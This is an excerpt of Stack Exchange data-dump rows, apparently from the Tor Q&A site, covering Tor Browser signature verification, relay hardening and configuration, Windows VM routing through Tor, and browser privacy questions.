  <row Id="19557" PostTypeId="2" ParentId="19556" CreationDate="2019-03-06T21:41:57.250" Score="1" Body="&lt;p&gt;Never mind. I played with some of the settings and found that using &quot;New identity&quot; under the file tab allowed it to reset and when I navigated to messages.android.com this time, it offered the permission I had previously declined.&lt;/p&gt;&#xA;" OwnerUserId="25436" LastActivityDate="2019-03-06T21:41:57.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19560" PostTypeId="1" CreationDate="2019-03-07T12:08:34.310" Score="1" ViewCount="9519" Body="&lt;p&gt;I'm trying to install Tor manually on Ubuntu 18.04 bionic beaver using this guide: &lt;a href=&quot;https://linuxconfig.org/how-to-install-tor-browser-in-ubuntu-18-04-bionic-beaver-linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://linuxconfig.org/how-to-install-tor-browser-in-ubuntu-18-04-bionic-beaver-linux&lt;/a&gt;&lt;br&gt;&#xA;When I try to verify my signature key it says, No public Key, Checkout the error below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --verify tor-browser-linux64-8.0.6_en-US.tar.xz.asc tor-browser-linux64-8.0.6_en-US.tar.xz&#xA;gpg: Signature made و 18:27:41 PKT ت 12 فروری 2019&#xA;gpg:                using RSA key EB774491D9FF06E2&#xA;gpg: Can't check signature: No public key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="25439" LastEditorUserId="5234" LastEditDate="2019-03-13T21:11:24.240" LastActivityDate="2022-08-04T20:55:58.993" Title="Tor Browser, Signature verification Failed, Cant check signature: No public key" Tags="|linux|verification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19563" PostTypeId="2" ParentId="19560" CreationDate="2019-03-07T16:10:28.837" Score="3" Body="&lt;p&gt;Check out the Tor Project's &lt;a href=&quot;https://www.torproject.org/docs/signing-keys.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;signing keys&lt;/a&gt; page for more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you followed that tutorial exactly, then you imported a single developer's signing key, but this is not the key used to sign the browser releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output you supplied shows that the actual signing key is &lt;code&gt;EB774491D9FF06E2&lt;/code&gt;, which shows up on the Tor PGP keys page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To properly verify, import the correct signing key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys EB774491D9FF06E2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you should be able to verify the package's signature using &lt;code&gt;--verify&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10070" LastEditorUserId="10070" LastEditDate="2019-03-14T14:55:09.647" LastActivityDate="2019-03-14T14:55:09.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19565" PostTypeId="2" ParentId="19551" CreationDate="2019-03-08T07:42:38.267" Score="0" Body="&lt;p&gt;So, here is what the config looks like:&#xA;- runing USB Tails&#xA;- no SSD/HHD drives in notebook (physically removed)&#xA;- tor browser configured via Briges - &quot;Just give me bridges!&quot;&#xA;(&lt;a href=&quot;https://bridges.torproject.org/options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/options&lt;/a&gt;)&#xA;- persistent storage is ON&#xA;- never open full-screen while web activity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Is this all what I need for good solution to anonymity in web&#xA;activity?&#xA;2 Should I focused on some additional settings? focus on some additional&#xA;aspects?&#xA;3 In this situation the VPN's config is makes no sense... no needed?&#xA;4 The biggest threat is a private WiFi network - better to use some&#xA;other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate your support very much - Thank you.&#xA;Regards,&lt;/p&gt;&#xA;" OwnerUserId="25444" LastActivityDate="2019-03-08T07:42:38.267" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19566" PostTypeId="1" AcceptedAnswerId="19567" CreationDate="2019-03-08T09:10:24.990" Score="0" ViewCount="53" Body="&#xA;&#xA;&lt;h2&gt;Setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm running my &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/E6B11F6865E0B2BD373B4FC3764724DA1AAA75B9&quot; rel=&quot;nofollow noreferrer&quot;&gt;new (2 days old) relay&lt;/a&gt; using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;my own dedicated server Dell T20 with hardware:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;CPU: Intel Xeon E3-1225 v3 @ 3.20GHz (Haswell)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RAM: 32 GB DDR3 ECC&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;NET: overall maximum bandwidth of &lt;a href=&quot;https://www.speedtest.net/result/8091493635&quot; rel=&quot;nofollow noreferrer&quot;&gt;30 Mbit down / 30 Mbit up&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UEFI / BIOS patch version A19 (latest)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Debian version 10 Buster (testing)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;kernel version 4.19.0-2 (latest)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;intel-microcode&lt;/code&gt; package installed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor version 0.3.5.8 (recommended)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I monitor the relay with Nyx all day long&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Nowadays, with all kinds of Spectre vulnerabilities and similar threats, I would like to know if my hardware and the operating system is safe from these and if I can do anything else than regularly check for all updates?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2019-03-08T09:24:16.463" LastActivityDate="2019-03-08T10:29:32.860" Title="How to check for Spectre vulnerabilities and similar threats for my relay to be secure?" Tags="|security|relays|vulnerability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19567" PostTypeId="2" ParentId="19566" CreationDate="2019-03-08T09:10:24.990" Score="0" Body="&#xA;&#xA;&lt;h2&gt;Spectre check script available&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have found one very good and maintained shell script to check for these vulnerabilities. It's hosted on GitHub:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/speed47/spectre-meltdown-checker/releases/latest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/speed47/spectre-meltdown-checker/releases/latest&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, today (2019-Mar-08), there is a release v0.40 available, but the link above will always take you to the latest release.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;How to use it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It's as simple as downloading the &lt;em&gt;Source code (tar.gz)&lt;/em&gt;, extracting it, and running the script with root privileges like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./spectre-meltdown-checker.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, that you might get more information than you need or want. If you want quick and short info, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ./spectre-meltdown-checker.sh --batch text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Example output&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Taken from the short version on my server above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CVE-2017-5753: OK (Mitigation: __user pointer sanitization)&#xA;CVE-2017-5715: OK (Full retpoline + IBPB are mitigating the vulnerability)&#xA;CVE-2017-5754: OK (Mitigation: PTI)&#xA;CVE-2018-3640: OK (your CPU microcode mitigates the vulnerability)&#xA;CVE-2018-3639: OK (Mitigation: Speculative Store Bypass disabled via prctl and seccomp)&#xA;CVE-2018-3615: OK (your CPU vendor reported your CPU model as not vulnerable)&#xA;CVE-2018-3620: OK (Mitigation: PTE Inversion)&#xA;CVE-2018-3646: OK (this system is not running an hypervisor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2019-03-08T10:29:32.860" LastActivityDate="2019-03-08T10:29:32.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19569" PostTypeId="2" ParentId="19529" CreationDate="2019-03-08T18:08:59.377" Score="0" Body="&lt;p&gt;Thanks to the comments, I was able to follow the guidelines &lt;a href=&quot;https://helpmanual.io/man8/tor-instance-create/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and get the second instance up and running. Didn't even know you could spawn another daemon&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone!&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-03-08T18:08:59.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19571" PostTypeId="1" CreationDate="2019-03-08T20:21:06.697" Score="0" ViewCount="81" Body="&lt;p&gt;i m looking for a solution to announce a website on both clear/dark nets using same ip, same public port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading various documentation i m not so sure this is ever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have some ideas ? links i might have missed. or maybe ready to use software if i m wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*edit: maybe i could use ipv4 for clear net and ipv6 for tor ? i think i have those two on the server.&lt;/p&gt;&#xA;" OwnerUserId="25002" LastActivityDate="2019-03-08T20:21:06.697" Title="tor friendly reverse proxy to share same public port for onion/nonion websites?" Tags="|website|server|web-proxy|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19573" PostTypeId="1" CreationDate="2019-03-08T21:57:26.650" Score="3" ViewCount="123" Body="&lt;p&gt;If I run TOR and another browser (say Firefox) and surf on both at the same time, one downloading and surfing the other does this compromise the security/anonymity of TOR?  &lt;/p&gt;&#xA;" OwnerUserId="25449" LastActivityDate="2019-03-09T13:08:24.430" Title="Running another browser along side TOR" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19576" PostTypeId="2" ParentId="9399" CreationDate="2019-03-09T08:39:52.337" Score="0" Body="&lt;p&gt;Here's how I did it on Windows 10:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download Tor &lt;a href=&quot;https://www.torproject.org/download/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor expert bundle&lt;/a&gt; and run it. By defaut, it is just a command line window that you need to keep open. Alternativey, you can &lt;a href=&quot;https://miloserdov.org/?p=1839&quot; rel=&quot;nofollow noreferrer&quot;&gt;install it as a service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download &lt;a href=&quot;https://www.crowdstrike.com/resources/community-tools/tortilla-tool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tortilla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;If enabled, disable UEFI secure boot on your Windows machine&lt;/li&gt;&#xA;&lt;li&gt;once it is disabled, open a command prompt as admin and run &lt;code&gt;bcdedit.exe -set TESTSIGNING ON&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;reboot your machine&lt;/li&gt;&#xA;&lt;li&gt;Install tortilla by running the exe as admin (and dont close the command line window)&lt;/li&gt;&#xA;&lt;li&gt;Confirm that you want to install the driver&lt;/li&gt;&#xA;&lt;li&gt;Use the Tortilla Adapter as bridged adapter for your VM&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You need to have both Tor and Tortilla started everytime you want to use this setup (the adapter will only be installed once).&lt;/p&gt;&#xA;" OwnerUserId="25453" LastActivityDate="2019-03-09T08:39:52.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19578" PostTypeId="2" ParentId="19573" CreationDate="2019-03-09T13:08:24.430" Score="2" Body="&lt;p&gt;As the Tor browser uses it's own resources, and even creates an encrypted connection to the Tor network, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless, of course, you get malware in Firefox. That is the malware fault, though, and not just the fact of having two browser open&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-03-09T13:08:24.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19579" PostTypeId="2" ParentId="85" CreationDate="2019-03-10T03:46:33.680" Score="-3" Body="&lt;p&gt;Simple answer is yes.  Because of your own IP server. It logs all locations dialed out. Some IP companies map your usage. Mostly for advertising but logs can be requested by police and now can be without a warrant.  &lt;/p&gt;&#xA;" OwnerUserId="25461" LastActivityDate="2019-03-10T03:46:33.680" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19580" PostTypeId="2" ParentId="16111" CreationDate="2019-03-10T13:42:26.590" Score="0" Body="&lt;p&gt;Yes, it will allow you to be tracked easier, if you really need to change the size, make sure you keep changing it every single time a page loads.&lt;/p&gt;&#xA;" OwnerUserId="25466" LastActivityDate="2019-03-10T13:42:26.590" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19583" PostTypeId="1" AcceptedAnswerId="19584" CreationDate="2019-03-11T19:25:53.157" Score="0" ViewCount="4220" Body="&#xA;&#xA;&lt;p&gt;Since I have set up &lt;a href=&quot;https://metrics.torproject.org/rs.html#details/E6B11F6865E0B2BD373B4FC3764724DA1AAA75B9&quot; rel=&quot;nofollow noreferrer&quot;&gt;my new relay&lt;/a&gt; on Debian 10 Buster, running the stable version, I learn on the go, and I don't hesitate to edit the Tor's global settings file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in order to remedy some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do that while the Tor service is stopped with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl stop tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and similarly, I start the service upon finished editing with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl start tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By watching Nyx the whole time, I found out, &lt;strong&gt;it has not an immediate effect&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes a lot of time for Nyx to actually disconnect (I did not use a stopwatch, but it could be a minute or so), but those &lt;code&gt;systemctl&lt;/code&gt; commands complete without delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am curious as to, why that is, and possibly if I can do anything in order not having to wait for my Tor relay to stop watching Nyx, whenever I want to edit the Tor's settings?&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2019-10-26T21:27:42.000" Title="How to smoothly and safely edit the Tor config file?" Tags="|configuration|server-administration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19584" PostTypeId="2" ParentId="19583" CreationDate="2019-03-11T19:25:53.157" Score="0" Body="&#xA;&#xA;&lt;p&gt;First to mention, I am running my relay from home, so I have physical access to it, but if you don't, always be prepared for the worst - have a backup of your relay keys, and a backup of your configuration before actually doing any big changes. This answer though, does not contain such a change, that you would need to worry.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Observation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have found the reason behind the immediate execution is this self-explanatory contents of the &lt;code&gt;tor.service&lt;/code&gt; file located in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/lib/systemd/system/tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;containing only &lt;code&gt;/bin/true&lt;/code&gt; for both start and stop action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Description=Anonymizing overlay network for TCP (multi-instance-master)&#xA;&#xA;[Service]&#xA;Type=oneshot&#xA;RemainAfterExit=yes&#xA;ExecStart=/bin/true&#xA;ExecReload=/bin/true&#xA;&#xA;[Install]&#xA;WantedBy=multi-user.target&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I found there is another service file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/lib/systemd/system/tor@default.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the &lt;em&gt;real&lt;/em&gt; one. Meaning it contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Unit]&#xA;Description=Anonymizing overlay network for TCP&#xA;After=network.target nss-lookup.target&#xA;PartOf=tor.service&#xA;ReloadPropagatedFrom=tor.service&#xA;&#xA;[Service]&#xA;Type=notify&#xA;NotifyAccess=all&#xA;PIDFile=/run/tor/tor.pid&#xA;PermissionsStartOnly=yes&#xA;ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /run/tor&#xA;ExecStartPre=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0 --verify-config&#xA;ExecStart=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0&#xA;ExecReload=/bin/kill -HUP ${MAINPID}&#xA;KillSignal=SIGINT&#xA;TimeoutStartSec=300&#xA;TimeoutStopSec=60&#xA;Restart=on-failure&#xA;LimitNOFILE=65536&#xA;&#xA;# Hardening&#xA;AppArmorProfile=-system_tor&#xA;NoNewPrivileges=yes&#xA;PrivateTmp=yes&#xA;PrivateDevices=yes&#xA;ProtectHome=yes&#xA;ProtectSystem=full&#xA;ReadOnlyDirectories=/&#xA;ReadWriteDirectories=-/proc&#xA;ReadWriteDirectories=-/var/lib/tor&#xA;ReadWriteDirectories=-/var/log/tor&#xA;ReadWriteDirectories=-/run&#xA;CapabilityBoundingSet=CAP_SETUID CAP_SETGID CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, when we know the &lt;em&gt;real&lt;/em&gt; service name, we can call this one as it does wait till it is stopped or started or reloaded like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# systemctl ACTION tor@default.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have set up a &lt;code&gt;.bash_aliases&lt;/code&gt; solution, and I'd like to share it with you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here is what my solution below can do for you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It stops the Tor service - waits till this is done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It runs my favorite text editor with the config file via safe way through &lt;code&gt;sudoedit&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It starts the Tor service - waits till this is done.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Starts the Nyx monitor right after.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It could be customized, it has some potential.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# change these variables to correspond with your setup and preferences&#xA;tor_text_editor='/usr/local/bin/nano'&#xA;tor_text_editor_option_syntax='--syntax=nanorc'&#xA;tor_text_editor_option_viewonly='--view'&#xA;tor_config_file='/etc/tor/torrc'&#xA;tor_service_name='tor@default.service'&#xA;&#xA;# this serves the purpose of running nyx under non-privileged user;&#xA;# debian-tor is the default user under Debian GNU/Linux&#xA;alias nyx='sudo -u debian-tor nyx'&#xA;&#xA;torrc_view()&#xA;{&#xA;    # open the Tor config file in the text editor in view-only mode&#xA;    &quot;${tor_text_editor}&quot; &quot;${tor_text_editor_option_syntax}&quot; &quot;${tor_text_editor_option_viewonly}&quot; &quot;${tor_config_file}&quot;&#xA;}&#xA;&#xA;torrc_edit()&#xA;{&#xA;    # stop the Tor service; wait till it's down&#xA;    systemctl stop &quot;${tor_service_name}&quot;&#xA;    # launch the editor of choice through sudoedit to edit Tor's config file&#xA;    SUDO_EDITOR=&quot;${tor_text_editor} ${tor_text_editor_option_syntax}&quot; sudoedit &quot;${tor_config_file}&quot;&#xA;    # start the Tor service; wait till it's up&#xA;    systemctl start &quot;${tor_service_name}&quot;&#xA;    # display the status of Tor service&#xA;    # without having to quit it manually: --no-pager&#xA;    # without shortening long lines: --full&#xA;    systemctl --no-pager --full status &quot;${tor_service_name}&quot;&#xA;    # run Nyx using the above alias&#xA;    nyx&#xA;}&#xA;&#xA;# I avoid the dash (-) in function names&#xA;# because that would make the names non-POSIX&#xA;# I rather define aliases later on, here&#xA;alias torrc-view='torrc_view'&#xA;alias torrc-edit='torrc_edit'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to add your own tweaks in your own answer!&lt;/p&gt;&#xA;" OwnerUserId="12763" LastEditorUserId="12763" LastEditDate="2019-10-25T13:00:12.670" LastActivityDate="2019-10-25T13:00:12.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19589" PostTypeId="1" CreationDate="2019-03-13T00:14:22.013" Score="1" ViewCount="74" Body="&lt;p&gt;Is there a way to get a new IP-route every time I reload a page or visit the same website in a single session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Of course without manually hitting the &quot;new route&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="25491" LastActivityDate="2019-03-13T00:14:22.013" Title="New IP-route on page reload possible?" Tags="|ip-address|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19590" PostTypeId="1" CreationDate="2019-03-13T01:39:07.780" Score="0" ViewCount="1894" Body="&lt;p&gt;I hope this doesn't sound like a stupid question but can your internet service provider see that you're using TOR? I don't want the police to show up at my door asking me why I was searching for gifts cards at a discounted price lol. If you connect to VPN before loading up TOR would you ISP see that you connected to a VPN? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disclaimer: I have not bought anything with TOR or plan to. This is a hypothetical question that is for educational purposes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25492" LastActivityDate="2019-03-13T13:02:36.067" Title="Does your internet provider see that you're using TOR?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ClosedDate="2019-03-13T20:23:42.680" ContentLicense="CC BY-SA 4.0" />
  <row Id="19591" PostTypeId="1" CreationDate="2019-03-13T07:23:57.430" Score="0" ViewCount="75" Body="&lt;p&gt;I am a new user and I just start to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to visit the website bet365 dt com, but when i click on sport i can't see the full content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May missing some script or I don't know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is here someone could help me please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I think I should install and enable flash, but i read for the privacy is better not do that on tor. So may there is any other way to fix it?&lt;/p&gt;&#xA;" OwnerUserId="25494" LastEditorUserId="25494" LastEditDate="2019-03-13T07:29:37.177" LastActivityDate="2020-04-06T15:01:30.330" Title="Problem visiting a website" Tags="|website|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19592" PostTypeId="2" ParentId="19591" CreationDate="2019-03-13T12:56:24.040" Score="1" Body="&lt;p&gt;The problem is in NoScript addon which is installed in TOR Browser. You can temporary enable Java Script in the site in order to use the full features of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following picture, I've marked the place you should click for granting temporary permissions for Java Script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h9fBc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9fBc.png&quot; alt=&quot;Enablling No Script&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Flash player, I do not suggest to use it, because it sends its traffic outside the TOR network. If you really need it, use something like Proxifier to tunnel all the TCP traffic of the computer through TOR network, and block all the UDP packets for flash player, since TOR does not accept UDP packages (except for DNS).&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-13T12:56:24.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19593" PostTypeId="2" ParentId="19590" CreationDate="2019-03-13T13:02:36.067" Score="0" Body="&lt;p&gt;Using bridges like OBFS can protect your TOR connection from ISPs however youcan use VPN before TOR and TOR before VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use VPN to access TOR, ISP only sees the VPN connection but with the TOR traffic pattern, therefore I suggest using OBFS when you're using VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use TOR to access VPN, ISP will know that you're using TOR (as mentioned, use OBFS) and you can access sites like Google which ban TOR traffic. More information can be found in &lt;a href=&quot;https://mstajbakhsh.ir/socks-rocks-again/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/socks-rocks-again/&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-03-13T13:02:36.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19596" PostTypeId="1" CreationDate="2019-03-13T22:57:24.520" Score="2" ViewCount="285" Body="&lt;p&gt;my tor relay has been active for 30 days and was down for 2 to 3 days. when it was down, i changed the relay nickname field in the torrc . its been 24 hours but the relay nickname is not being reflected in the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should i do ?  &lt;/p&gt;&#xA;" OwnerUserId="17117" LastActivityDate="2019-03-13T22:57:24.520" Title="How to change relay nickname of an existing tor relay?" Tags="|configuration|relays|consensus|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19597" PostTypeId="1" CreationDate="2019-03-14T17:40:11.003" Score="1" ViewCount="806" Body="&lt;pre&gt;&lt;code&gt;3/14/19, 17:30:15.111 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:30:15.111 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:30:15.111 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;3/14/19, 17:30:15.111 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:30:15.111 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;3/14/19, 17:30:15.112 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;3/14/19, 17:30:15.112 [NOTICE] Renaming old configuration file to &quot;/home/mike/Downloads/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc.orig.1&quot; &#xA;3/14/19, 17:30:15.112 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;3/14/19, 17:30:17.448 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;3/14/19, 17:30:17.534 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;3/14/19, 17:30:17.662 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;3/14/19, 17:30:19.861 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;3/14/19, 17:31:29.790 [NOTICE] No circuits are opened. Relaxed timeout for circuit 4 (a General-purpose client 1-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. &#xA;3/14/19, 17:32:41.248 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;3/14/19, 17:32:41.785 [NOTICE] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services. &#xA;3/14/19, 17:32:41.785 [NOTICE] Bootstrapped 45%: Asking for relay descriptors for internal paths &#xA;3/14/19, 17:32:41.786 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6625, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 